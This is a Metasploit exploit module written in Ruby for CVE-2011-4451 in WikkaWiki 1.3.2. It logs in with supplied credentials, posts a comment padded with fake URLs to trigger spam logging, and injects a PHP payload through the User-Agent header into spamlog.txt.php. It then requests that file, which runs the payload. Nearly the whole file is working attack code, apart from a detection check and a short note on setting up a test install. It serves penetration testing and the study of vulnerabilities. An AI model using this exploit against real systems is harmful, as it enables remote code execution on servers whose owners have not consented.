##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
			'Description'    => %q{
					This module exploits a vulnerability found in WikkaWiki.  When the spam logging
				feature is enabled, it is possible to inject PHP code into the spam log file via the
				UserAgent header , and then request it to execute our payload.  There are at least
				three different ways to trigger spam protection, this module does so by generating
				10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).

					Please note that in order to use the injection, you must manually pick a page
				first that allows you to add a comment, and then set it as 'PAGE'.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'EgiX',   #Initial discovery, PoC
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-4451'],
					['OSVDB', '77393'],
					['EDB', '18177'],
					['URL', 'http://wush.net/trac/wikka/ticket/1098']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Arch'           => ARCH_PHP,
			'Platform'       => ['php'],
			'Targets'        =>
				[
					['WikkaWiki 1.3.2 r1814', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Nov 30 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('USERNAME',  [true, 'WikkaWiki username']),
				OptString.new('PASSWORD',  [true, 'WikkaWiki password']),
				OptString.new('PAGE',      [true, 'Page to inject']),
				OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
			], self.class)
	end


	def check
		uri = normalize_uri(target_uri.path)
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => "#{uri}/wikka.php?wakka=HomePage"
		})

		if res and res.body =~ /Powered by WikkaWiki/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end


	#
	# Get the cookie before we do any of that login/exploity stuff
	#
	def get_cookie
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => normalize_uri(@base, "wikka.php")
		})

		# Get the cookie in this format:
		# 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
		if res and res.headers['Set-Cookie']
			cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
		else
			fail_with(Exploit::Failure::Unknown, "#{@peer} - No cookie found, will not continue")
		end

		cookie
	end


	#
	# Do login, and then return the cookie that contains our credential
	#
	def login(cookie)
		# Send a request to the login page so we can obtain some hidden values needed for login
		uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings"
		res = send_request_raw({
			'method'  => 'GET',
			'uri'     => uri,
			'cookie'  => cookie
		})

		# Extract the hidden fields
		login = {}
		if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
			fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
			fields.each do |name, value|
				login[name] = value
			end
		else
			fail_with(Exploit::Failure::Unknown, "#{@peer} - Unable to find the hidden fieldset required for login")
		end

		# Add the rest of fields required for login
		login['action']       = 'login'
		login['name']         = datastore['USERNAME']
		login['password']     = datastore['PASSWORD']
		login['do_redirect']  = 'on'
		login['submit']       = "Login"
		login['confpassword'] = ''
		login['email']        = ''

		port = (rport.to_i == 80) ? "" : ":#{rport}"
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => uri,
			'cookie'    => cookie,
			'headers'   => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
			'vars_post' => login
		})

		if res and res.headers['Set-Cookie'] =~ /user_name/
			user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
			pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
			cookie_cred = "#{cookie}; #{user}; #{pass}"
		else
			cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
			fail_with(Exploit::Failure::Unknown, "#{@peer} - Unable to login with \"#{cred}\"")
		end

		return cookie_cred
	end


	#
	# After login, we inject the PHP payload
	#
	def inject_exec(cookie)
		# Get the necessary fields in order to post a comment
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1",
			'cookie' => cookie
		})

		fields = {}
		if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
			$1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
				fields[n] = v
			end
		else
			fail_with(Exploit::Failure::Unknown, "#{@peer} - Cannot get necessary fields before posting a comment")
		end

		# Generate enough URLs to trigger spam logging
		urls = ''
		10.times do |i|
			urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
		end

		# Add more fields
		fields['body']   = urls
		fields['submit'] = 'Add'

		# Inject payload
		b64_payload = Rex::Text.encode_base64(payload.encoded)
		port = (rport.to_i == 80) ? "" : ":#{rport}"
		uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment")
		post_data = ""
		send_request_cgi({
			'method'    => 'POST',
			'uri'       => uri,
			'cookie'    => cookie,
			'headers'   => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
			'vars_post' => fields,
			'agent'     => "<?php #{payload.encoded} ?>"
		})

		send_request_raw({
			'method' => 'GET',
			'uri'    => normalize_uri(@base, "spamlog.txt.php")
		})
	end


	def exploit
		@peer = "#{rhost}:#{rport}"

		@base = normalize_uri(target_uri.path)
		@base << '/' if @base[-1, 1] != '/'

		print_status("#{@peer} - Getting cookie")
		cookie = get_cookie

		print_status("#{@peer} - Logging in")
		cred = login(cookie)

		print_status("#{@peer} - Triggering spam logging")
		inject_exec(cred)

		handler
	end
end


=begin
For testing:
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka

Open wikka.config.php, do:
'spam_logging' => '1'
=end
